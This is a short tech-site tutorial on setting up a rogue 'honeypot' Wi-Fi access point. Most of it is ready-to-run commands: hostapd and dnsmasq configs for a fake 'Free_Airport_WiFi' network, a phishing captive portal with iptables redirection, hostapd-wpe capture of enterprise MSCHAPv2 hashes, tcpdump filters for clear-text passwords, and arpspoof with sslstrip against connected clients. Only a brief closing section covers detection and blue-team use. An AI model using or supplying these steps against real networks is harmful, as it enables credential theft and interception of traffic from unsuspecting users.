Techzone/Honeypot AP / Rogue Access Point

Honeypot AP / Rogue Access Point

2 min readArticle

A honeypot (in the wireless context) is a fake AP set up to attract and monitor devices that connect to it. Unlike an evil twin that actively spoofs a specific network, a honeypot AP may use a generic appealing name ("Free WiFi", "Airport_WiFi") or exploit the KARMA attack to respond to any probe. The goal is capturing credentials, monitoring traffic, or gathering device information.

Honeypot vs Evil Twin vs KARMA

Type How Devices Connect Goal
Honeypot Voluntarily (attractive SSID) Capture traffic, creds
Evil Twin Tricked (matches trusted network) Targeted MitM
KARMA Auto-connect (responds to probes) Auto MitM at scale

Simple Honeypot Setup

Using hostapd + dnsmasq

bash 
# Install
sudo apt install hostapd dnsmasq

# hostapd config
cat > /etc/hostapd/honeypot.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=Free_Airport_WiFi
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
EOF

# dnsmasq config (DHCP + DNS)
cat > /tmp/dnsmasq-honeypot.conf << 'EOF'
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
address=/#/10.0.0.1
EOF

# Set interface IP
sudo ip addr add 10.0.0.1/24 dev wlan0
sudo ip link set wlan0 up

# Start services
sudo hostapd /etc/hostapd/honeypot.conf &
sudo dnsmasq -C /tmp/dnsmasq-honeypot.conf -d &

Captive Portal Honeypot

Add a web server to serve a login page:

bash 
# Apache serving phishing page
sudo apt install apache2 php
sudo systemctl start apache2

# Redirect all HTTP to captive portal
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 80

WPA Enterprise Honeypot (Credential Capture)

For capturing corporate WPA Enterprise credentials — see mana-evil-twin-toolkit.

bash 
# hostapd-wpe captures MSCHAPV2 hashes from connecting clients
sudo apt install hostapd-wpe

Monitoring Connected Clients

bash 
# Watch DHCP leases (who connected)
tail -f /var/lib/misc/dnsmasq.leases

# Monitor traffic from all clients
sudo tcpdump -i wlan0 -n

# Log HTTP requests
sudo tcpdump -i wlan0 port 80 -A | grep -E "GET|POST|Host:"

# Use Bettercap for automated MitM on connected clients
sudo bettercap -iface wlan0

Capturing Credentials via HTTP

bash 
# Sniff clear-text credentials
sudo tcpdump -i wlan0 -A | grep -i "pass\|password\|user\|login"

# More targeted with arpspoof + sslstrip
arpspoof -i wlan0 -t <client-ip> <gateway-ip>
sslstrip -l 10000

Detect Connected Devices

bash 
# List connected clients
iw dev wlan0 station dump

# Watch ARP to see new clients
arp-scan --interface=wlan0 10.0.0.0/24

Detection Avoidance

Honeypot APs can be detected by:

  • Suspicious SSIDs (generic names)
  • Duplicate SSID/BSSID combos (evil twin detection)
  • Missing WPA when the real network has it
  • Different channel than expected

Corporate Wireless Honeypots (Blue Team)

Organizations also deploy honeypot APs to detect:

  • Internal rogue APs
  • Evil twin attacks against employees
  • Unauthorized devices probing the network

Tools: Cisco Prime, Aruba AirWave, WatchGuard Wi-Fi Cloud

See Also

  • future-of-tech-emerging-trends-2023 - KARMA attacks
  • mana-evil-twin-toolkit - MANA toolkit for WPA Enterprise capture
  • wifi-pineapple-guide - Purpose-built honeypot hardware
techzonesite.comUnlock Your IT Potential